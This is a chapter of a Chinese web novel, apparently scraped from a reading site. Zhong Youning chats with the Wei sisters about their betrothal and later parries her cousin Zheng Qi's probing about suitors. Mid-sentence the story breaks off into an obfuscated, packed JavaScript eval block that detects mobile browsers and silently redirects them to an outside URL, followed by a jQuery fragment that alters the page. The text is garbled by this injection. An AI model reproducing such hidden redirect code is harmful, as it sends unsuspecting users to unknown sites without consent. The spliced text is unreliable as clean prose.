姑娘们在绫华居坐了坐,说了会体己话,才陆续离去。
姑娘们来时欢欢喜喜,走时眼中都是问号。
钟攸凝留在了最后。
魏氏姐妹这才跟她单独说上话。
她们姐妹气色红润,这是日子过得舒心的人才有的面相,没定亲前,她们姐妹面上还有些愁苦,现在这缕愁苦已经不见了。作为手帕交,钟攸凝看在眼里,看见好朋友过得好她心中也为她们高兴。
她问:“你们什么时候过礼呢?”
魏沅含笑。魏珍回道:“我叔父说三日后是个好日子。”
她叔父就是魏家来人,多亏了魏叔父赶到,她们姐妹最后才能把亲事给定下,后边的过礼、商议日期都是由魏叔父出面磋商。有了依仗,魏氏姐妹心中的大石才落定。
魏叔父与魏三夫人是兄妹,魏叔父到了后,知道了事情经过,与魏三夫人兄妹间还险些生了嫌隙。
魏叔父话里话外,埋怨魏三夫人这个做姑母的心狠,只顾着丢下名册,也不为小辈把把关,打听人物品貌。让两个小辈看册选婿,这跟豪赌有什么区别。
赌狗,没有赢家。
姐妹二人说起了叔父的安排:
“叔父已经在府外赁了几间屋子,年前我们就搬出府,等家中长辈们来,年后在府外出嫁。”
钟攸凝点点头。挺好的。
魏叔父安排得很细致。
魏氏姐妹眼看要出府,钟攸凝有些怅然若失,心里滋生出了一股紧迫。
她在府中结识的人不多,亲近的人也只有魏氏姐妹了,等她们姐妹在年前搬出府后,她在府中连个手帕交都没有了。何况,对比她们姐妹,她还困在府中,需要四处周旋。
魏氏姐妹还有事要忙,钟攸凝知礼,也没有多留,说了会话后就带着阿喜走了。
阿喜跟她的小伙伴依依不舍的挥手,一步三回头,大有被拆散的一对佳偶。
路上,她喋喋不休:“姑娘,你知道吗?魏家姑娘把文儿她们从三夫人手中要了来,等魏姑娘出嫁,她们也要跟着一同出府了。”
她的小团体2要当人家的陪嫁婢子了。
钟攸凝问:“文儿她们同意?”
阿喜叹了口气,小小的年纪语气沧桑:“同意啊,怎么不同意,她们本来就是三夫人院中的婢子,要是不跟着出府,等魏姑娘出府,她们就要重新回三夫人院子去了。”
其实主人家指点婢子去伺候客人,等客人离去后,婢子原本就该重新回去的,只是魏姑娘跟三夫人之间的关系吧,不太好说。
文儿两个虽然只是小婢,但婢子们也有自己的生存之道,她们考量的是回了三夫人院子,还能不能本本分分的过日子。
郑七跟两位表姐关系势同水火,偶尔被她们阻拦时,还会口出恶言,有这样一位爱无事找事的主子,回了三夫人院子中,她们有很大概率被刁难。
她们扪心自问,心里就有答案了。
魏氏姐妹一开口,她们两个小婢不加犹豫就同意了。
她们跟魏氏姐妹是主仆,跟阿喜却是好姐妹,这些考量自然不能当着主子面分析,只能说给好姐妹听,还问她有没有遗漏的地方,让阿喜帮着查缺补漏。
阿喜从退出房中后,她们小团体就一直躲在角落里盘算。
就这么小会功夫,头都快秃了。
阿喜抓耳挠腮,最后拍着自己的胸脯跟她们保证:要坚定自己的想法,坚持不会有错。
魏氏姐妹再如何,总要比七姑娘性子好吧?
也是这一句话,给了文儿两个小婢一颗定心丸。
是的,没错。
钟攸凝点点头,她记得上一世魏氏姐妹出嫁后,未曾听过她们日子有什么不顺遂的地方,想来过得不差,文儿两个跟着她们姐妹,有多大的前程不知,至少平顺安乐。
这是多少人求都求不来的。
她说:“你要是不舍,多去找她们说说话。”
阿喜高兴了。
主仆俩不紧不慢的走着,也没急着往回赶,沿途中还欣赏了会花花草草。都是钟攸凝在看,阿喜觉得自己是个专一的人,只喜欢欣赏府中那株石榴(替身)树。
石榴花已经开始凋谢了,不过石榴树开始结果了,一个个的挂在树上,现在果子青青绿绿的,等上一两月,果子逐渐成熟,由青绿色转变成黄色,最后彻底成熟变成红色。
以前在清平乡下,每当石榴成熟时,钟家人都会聚在石榴树下,热热闹闹的摘石榴,最后自家留一些,给族人们送一些。
从花园中穿过,视目所及的不远处,凉亭里坐着位姑娘,两位婢子守在前边。
是郑七。
跟遇上几位老爷不同,在大庭广众之下,几位老爷有头有脸,态度语气都很随和。小姑娘郑七不讲武德。
钟攸凝是不想跟她对上的。
郑七坐在亭中百无聊赖,她是专程来堵钟攸凝的,已经在亭中等了好一会了。很快眼前一亮,跟钟攸凝打了照面。
钟攸凝只得停下来,与人寒暄两句。
“五姑娘。”
“钟表姐。”
郑七来原本是想要放狠话的。
她都想好了:
见面先摆出一副凶神恶煞的表情,恶狠狠的说上几句话,这一招对大部分人都有用,她都试验过好多回了。钟攸凝也会哭着鼻子跑掉的。
她出口震慑的目的就达到了。
钟攸凝一日不解决,她母亲魏三夫人心中就一直记挂着这件事,不大展颜,连吃食用度都减了许多,还比不上她的食量。郑七这种孝女,自然着急不已。
不过想象归想象嘛。
钟攸凝看着柔弱,但态度淡然,无端的就让郑七不敢放肆,一打照面,放狠话的方案就熄灭了。
她请钟攸凝入凉亭中叙话。
钟攸凝想了想,应下了。
阿喜跟着进亭子,被拦下来了。郑七面对钟攸凝时有所顾忌,面对阿喜这种婢子,可不会给丝毫面子,指着她说:“你,出去守着,我有话要同表姐说。”
阿喜:......
阿喜第一回被人这样不客气,一张小脸都气红了。
真的,文儿两个说时她还无法体会,现在完全理解她们的选择了。郑七脾气太坏了。
钟攸凝:“阿喜是我的贴身婢子,没有不能听的。表妹放心,她不会说出去的。”
郑七看看人,又看看人。
钟攸凝坚持下,郑七只能退了一步。
姐妹二人坐在亭中。
郑七有些难以启齿,终于下定决心开口:
“表姐,你知道三房有几位妾室吗?”
“不知。”钟攸凝是知道的。
对郑七与她谈及这个话题也很惊讶。
她们的关系真的还不到谈论这种话题的时候。
郑七把她当做知心好友般透露:“四五位呢,父亲喜爱参加书会,在书会上结识了两位佳人,过几月便要进门了。”
钟攸凝继续洗耳恭听。
郑七上道,她苦恼的捧着小脸,真把钟攸凝当知心姐姐诉说烦心事了:“唉,我父亲这种有身份有地位的男子,受人追捧爱慕也是正常的,我母亲说,男子都是三妻四妾的,父亲不过而立之年,等再过上几年,院中的妾室姨娘们只怕都住不下了。”
郑七耍了个心眼,只说三房的妾室,没有提大房和二房有多少位妾室。
郑七的核心思维是:震慑+恐吓+威逼利诱。刚刚震慑没发挥出来,她启用恐吓这条谋算,想要让钟攸凝知难而退。
我们三房妾室多,怕不怕?
如果怕,那正好去选择其它两房。
钟攸凝恰到好处的安慰她:“表妹宽心,你是郑家姑娘,这种问题自有长辈会去操心的。”
郑七一点都没被安慰到。
她更在意,钟攸凝有没有听出来她的暗示。
郑七直接问道:“表姐,你有心仪的对象吗?”
钟攸凝摇摇头。
她接着问:“那表姐想找个什么样的?”
钟攸凝笑了句。称:“表妹可是要与我做媒?”
郑七还知道婉转:“我就是想听听表姐有什么看法。”
钟攸凝只好说道:“身量高挑俊秀。”
郑七在父亲和两位叔伯中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357737|178817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回想。
郑家三位老爷都遗传了老侯爷的身量,个头不矮,论身材的话,侯爷郑琦稍壮实,二老爷郑佩稍发福,三老爷郑通身形偏瘦。
这样说,符合的人是三老爷郑通。
钟攸凝接着加了句:“学问好。”
郑七继续回想。
她大伯擅书法笔墨,学问说不上好;二伯更是从小对学问不感兴趣,只有她父亲喜欢读书。
她听母亲讲过一则故事,祖父在世时,特意请了名士过府教授学问,这种名士大儒极难请,不止需要雄厚的财力,人为了声誉,在正式开授前还要先对学子进行考校。通过考校,大儒留下,若是没有通过大儒的考校,任凭用再多财力都无法留住人。
没办法,名士大儒就是这样有骨气,不为钱财屈膝。
考校当日,大儒坐在堂上,郑琦三人坐在堂下。
郑佩不爱学问,老侯爷已经提前同大儒打过招呼,让郑佩来不过是走个过场,在老侯爷的规划中,郑佩既不爱读书,那就走习武的路子。老侯爷和大儒真正看重的是郑琦。
考校完,仆从把答卷送到大儒手中,府中众人都等着大儒的评语。
大儒不负众望,给郑琦的评语是:天资平平。
反倒是对郑通的评语好一些,说他:小有天赋。
最后大儒拂袖而去。
他的时间金贵着呢,需要去教导一些真正有天资的学子,而不是浪费在这里,教导注定没有天赋的人。
在郑七眼中,学问好=她父亲。
钟攸凝:......
这小姑娘确实挺自恋的。
钟攸凝已经过了崇父的年纪,有了独立的思维,对郑七崇父也理解,多补充了句:“需要有功名。”
在她身后,阿喜挺直了背脊。
听到了吗?要有功名的!
要像老爷和大郎一样!
郑七已经对号入座,正像一只发怒的鸭子准备嘎嘎叫嚷了,一下子被人扼住了咽喉,顿时哑火了。
她眼都瞪圆了。
她不信,还在嘴硬:“谁知道真的假的...”
钟攸凝看中她父亲,她不高兴;但没有看中她父亲,她心里也不高兴。
钟攸凝摊手:“那没办法了,我也没有说亲,无法证明给你看了。”
郑七看着她,看着气鼓鼓的,到底什么都没说,跑出亭子。
伺候的婢子福了一礼,忙追了过去。
阿喜抱怨:“这些人可真讨厌,都说了还不信。”
钟攸凝失笑:“无妨,话我已经说了。”
这种事没什么好纠缠的,她还要想法子从侯府中脱困呢,用兄长钟闻当挡箭牌,不是长久之计,她话都放出去了,最迟后年,钟闻如果不出现就瞒不住了,在这之前,她必须要想一个解决办法出来。
刚回汀兰居,巧姑和顺儿就迎了上来。
盛娘子又告假了。
这回不是家中娶新妇,而是她儿媳妇有孕,盛娘子不放心他们小两口,特地告了一日假出府,准备亲自过问。
钟攸凝也是知道的,还让阿喜开了箱,给盛娘子备了点补品。
稍晚些时候,盛娘子回来了。
钟攸凝问:“你儿媳妇如何了?”
盛娘子脸色难看:“她就是吃坏了东西。”
她白白跑了这一趟。
孙家递话进来时,盛娘子心里就犯嘀咕,试想啊,现在不过才刚立夏,孙家是前月才娶新妇,到现在不过一个来月,这怀得太快了点。
盛娘子并不相信她儿子孙攀这么有用。
事实证明,她是对的。
在孙家人仰马翻的情况下,盛娘子请了医者来,医者一搭上脉,再问了她儿媳妇几个问题,就得出结论了,怀孕是没有怀,只是肚子受了凉,看他们模样年轻,还让他们当父母的放宽心,催是催不来的。
还举证了几个例,都是父母催生,结果生倒是没生,儿子和儿媳快被催出毛病来了,可见催生的坏处有多大。
送走了医者,盛娘子板着脸把孙攀夫妇叫到跟前:
仔仔细细跟他们科普了一下生理知识。